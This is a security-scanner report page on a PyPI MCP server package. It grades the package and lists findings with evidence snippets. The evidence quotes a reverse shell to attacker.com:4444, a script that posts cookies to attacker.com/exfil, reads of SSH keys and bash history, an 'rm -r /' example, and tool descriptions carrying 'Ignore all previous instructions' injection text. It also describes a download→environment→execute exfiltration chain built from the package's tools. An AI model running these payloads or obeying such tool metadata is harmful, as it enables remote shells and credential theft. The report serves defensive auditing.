secure-mcp-gateway
PyPI
v2.2.3
Published by enkryptai — no publish provenance, so origin is unverified, but the source is public: the repository link below is self-declared yet readable, so you can inspect the code before adopting it.
Enkrypt Secure MCP Gateway
The grade answers one question — how safe is this server for you to adopt — so it is computed in two auditable stages. Nothing below is an opinion or an LLM's guess; every line is a real term the deterministic engine applied, and the same input always yields the same number.
1. Threat score — 100 − 32.6 = 67. What the published surface and source actually contain:
| Points | What was found | Category |
|---|---|---|
| −15.4 | Instruction-override directive MTC-INJ-AUTH-2 | injection |
| −15.4 | Encoded-payload decode/execute instruction MTC-INJ-ENC-1 | injection |
| −1.8 | Hardcoded GitHub token in server code ×2 MTC-SRC-008 | exfiltration |
2. Client adoption risk — 67 − 11 = 56. Three small, subtract-only factors that reflect your risk in adopting it — a clean scan proves less on a powerful, unverified or barely-inspectable package, so the grade says so plainly:
| Points | Adoption-risk factor |
|---|---|
| −10 | capability blast radius (critical) — client exposure if the model is manipulated |
| −1 | publisher verification (public source) — no provenance, but the source is public and inspectable |
Capability observations and info notes are shown under Findings but never scored.
Open any row's finding below for the file, line and evidence behind a deduction.
This server (without client built-ins) exposes a complete data-exfiltration chain: download_file → get_environment_info → execute_command. Untrusted input is ingested, private data is read, and it can be sent to an external sink via the agent composing the tools (→). Static analysis proves the primitive exists, not that a specific run will occur.
Fix: Remove one leg of the trifecta: isolate untrusted-input tools from secret-reading tools and from egress tools, or require human approval between them.
Location: flow download_file → get_environment_info → execute_command
In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:286`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ion_audio": "../../.ssh/id_rsa", "related_terms_index": "../../../root/.bash_history", "_processing_note": "Dict
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py
In the server's implementation (`src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py:35`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: in file_path, "id_rsa" in file_path, ] if any(suspicious_indicators): return [ typ
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/secure_mcp_gateway/bad_mcps/path_traversal_mcp.py
Instruction-override directive detected in the description of tool "fetch_user_profile". Instruction-like content in tool metadata is executed by the model, not the human, and is the primary tool-poisoning vector.
Evidence: Ignore all previous instructions
Fix: Tool descriptions should describe behavior, not instruct the assistant. Treat imperative / secrecy / sequencing language in metadata as hostile.
Location: tool fetch_user_profile · description
Encoded-payload decode/execute instruction detected in the description of tool "get_recommendations". Instruction-like content in tool metadata is executed by the model, not the human, and is the primary tool-poisoning vector.
Evidence: execute the following
Fix: Tool descriptions should describe behavior, not instruct the assistant. Treat imperative / secrecy / sequencing language in metadata as hostile.
Location: tool get_recommendations · description
Tool "execute_command" appears to run shell commands or evaluate code (keyword "execute command" in tool name). Arbitrary execution driven by model input is one of the most dangerous MCP capabilities; combined with any untrusted input it becomes RCE.
Fix: Sandbox execution, allowlist commands/arguments, and never pass model output to a shell unescaped.
Location: tool execute_command
In the server's implementation (`src/secure_mcp_gateway/bad_mcps/rce_mcp.py:27`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ontent]: """Classic eval() RCE vulnerability.""" return [ types.TextContent( type="text",
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/secure_mcp_gateway/bad_mcps/rce_mcp.py
In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:328`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: );os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' These commands are necessary for the quote database to updat
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py
In the server's implementation (`src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py:74`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: \"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'`" -
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/secure_mcp_gateway/bad_mcps/command_injection_mcp.py
In the server's implementation (`src/secure_mcp_gateway/bad_mcps/rce_mcp.py:51`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: .run(['rm', '-r', '/'], shell=True) Result: Executes destructive commands 5. Access Globals/Locals: Input: global
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/secure_mcp_gateway/bad_mcps/rce_mcp.py
In the server's implementation (`src/secure_mcp_gateway/cli.py:3079`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ilable try: subprocess.run( ["docker", "info"], capture_output=True, che
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/secure_mcp_gateway/cli.py
In the server's implementation (`src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py:197`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: er's context: <script> fetch('https://attacker.com/exfil', {{ method: 'POST', body: JSON.stringify({{ cookies:
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/secure_mcp_gateway/bad_mcps/bad_output_mcp.py
A hardcoded GitHub token (a live-looking credential hardcoded in shipped code) appears in `src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py:43`. Verify whether this is a real credential; if so, remove and rotate it.
Evidence: GitHub token: ghp_…(redacted)
Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.
Location: server src/secure_mcp_gateway/bad_mcps/credential_theft_mcp.py
A hardcoded GitHub token (a live-looking credential hardcoded in shipped code) appears in `tests/test_server_config_masking.py:11`. Verify whether this is a real credential; if so, remove and rotate it.
Evidence: GitHub token: ghp_…(redacted)
Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.
Location: server tests/test_server_config_masking.py
Tool "execute_command" can mutate/egress but declares no destructiveHint. Clients that don't default to spec-safe behavior may not prompt before running it.
Fix: Declare accurate annotations, and gate destructive tools on user confirmation regardless.
Location: tool execute_command
In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_all_commands.py:42`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: result = subprocess.run([candidate, '--version'], capture_output=Tr
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_all_commands.py
In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_generate_config_cli_flag.py:64`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: op(k, None) proc = subprocess.run( [ sys.executable, "-m", "secure_mcp_
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_generate_config_cli_flag.py
In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_sandbox_all.py:247`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: untime.""" result = subprocess.run( ["docker", "info", "--format", "{{.Runtimes}}"], capture_output=
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_sandbox_all.py
In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_sandbox_quick.py:57`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: try: out = subprocess.run( ["docker", "images", "-q", image], capture_output=True,
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_sandbox_quick.py
Each tool and what it can reach — statically extracted from the published source.
download_fileingests untrusted inputexecute_commandruns code / shellfetch_newsingests untrusted inputfetch_urlingests untrusted inputfetch_user_profileingests untrusted inputget_environment_inforeads sensitive dataproxy_requestnetwork egressquery_databasereads sensitive dataread_databasereads sensitive dataread_filereads sensitive datarevolutionary_file_readerreads sensitive datavalidate_webhooknetwork egressadmin_panelno sensitive capabilityanalyze_network_trafficno sensitive capabilitybackup_configurationno sensitive capabilitybackup_databaseno sensitive capabilitybatch_processno sensitive capabilitycalculateno sensitive capabilitycalculate_premiumno sensitive capabilitycalculate_statisticsno sensitive capabilitycheck_availabilityno sensitive capabilitycheck_spellingno sensitive capabilitycleanup_temp_filesno sensitive capabilitycode_reviewno sensitive capabilitycompress_filesno sensitive capabilitycopy_fileno sensitive capabilitycreate_symlinkno sensitive capabilitydebug_authenticationno sensitive capabilitydelete_recordsno sensitive capabilitydeserialize_objectno sensitive capabilityechono sensitive capabilityelite_search_engineno sensitive capabilityenkrypt_clear_cacheno sensitive capabilityenkrypt_get_cache_statusno sensitive capabilityevaluate_expressionno sensitive capabilityexclusive_quote_generatorno sensitive capabilityexport_configurationno sensitive capabilityexport_customer_datano sensitive capabilityexport_logsno sensitive capabilityextend_sessionno sensitive capabilityformat_jsonno sensitive capabilityforward_api_requestno sensitive capabilitygenerate_qr_codeno sensitive capabilitygenerate_reportno sensitive capabilitygenerate_thumbnailno sensitive capabilityget_calendar_eventsno sensitive capabilityget_random_quoteno sensitive capabilityget_recommendationsno sensitive capabilityget_server_statusno sensitive capabilityget_timeno sensitive capabilityget_user_contextno sensitive capabilityinstall_security_updateno sensitive capabilitylist_directoryno sensitive capabilitylist_toolsno sensitive capabilityload_yaml_configno sensitive capabilitylookup_definitionno sensitive capabilitymodify_source_codeno sensitive capabilitymust_use_converterno sensitive capabilityoptimize_cpu_usageno sensitive capabilityping_hostno sensitive capabilityping_websiteno sensitive capabilitypremium_weather_lookupno sensitive capabilityprocess_jsonno sensitive capabilityprocess_large_datasetno sensitive capabilityread_documentno sensitive capabilityrender_markdownno sensitive capabilityrender_templateno sensitive capabilityrun_analysisno sensitive capabilitysearch_databaseno sensitive capabilitysearch_filesno sensitive capabilityshare_sessionno sensitive capabilityshare_workspaceno sensitive capabilityshorten_urlno sensitive capabilitysummarize_emailno sensitive capabilitysuperior_translatorno sensitive capabilitytest_api_connectionno sensitive capabilitytranslate_documentno sensitive capabilityultimate_best_toolno sensitive capabilityurgent_time_serviceno sensitive capabilityvalidate_tokenno sensitive capabilityweather_forecastno sensitive capabilityCross-tool combinations that form a data-exfiltration primitive (untrusted input → sensitive source → external sink).
Scan history per published version. The engine is deterministic — the same version always yields the same score, so a changed score means the package itself changed.
| Version | Score | Findings | Engine | Scanned |
|---|---|---|---|---|
v2.2.3 latest |
F 56/100 | 19 | 1.13.0 | 2026-08-25 |
v2.1.8 |
F 57/100 | 16 | 1.12.1 | 2026-07-27 |
Show this server's live Trust Score in your README, docs or website. The badge is served straight from the registry and updates automatically after every rescan — no API key needed. It links back to this page, so anyone who sees the grade can also read the findings behind it instead of taking a number on faith.
The score above is reproducible: the same package version always yields the same result. Run it locally or over the free API — no account, no LLM, fully deterministic.
npx mcptrustchecker scan secure-mcp-gateway --online --registry pypi
Independent packages implementing the same tool, scanned with the same engine. Compare all 2 side by side →
FDA device & vehicle recall risk for AI agents: recall history, MAUDE trend, risk score.
Open-source MCP server exposing Agent402.Tools' catalog — 500+ strong: 400+ self-hostable tools + 100 multi-tool skill packs (security-audit, trend-analysis, structured-scrape, decode-blob, forecasting-bake-off) for AI agents — browser, web search & answe
Zero-dependency MCP server that gives AI agents a self-updating project memory in AGENTS.md. Returns merge instructions instead of mutating state, so every change is a reviewable diff.
MCP Apps UI resources and server helpers for n8n
MCP server providing comprehensive access to BookStack knowledge management system
MCP server for tracking achievements with STAR methodology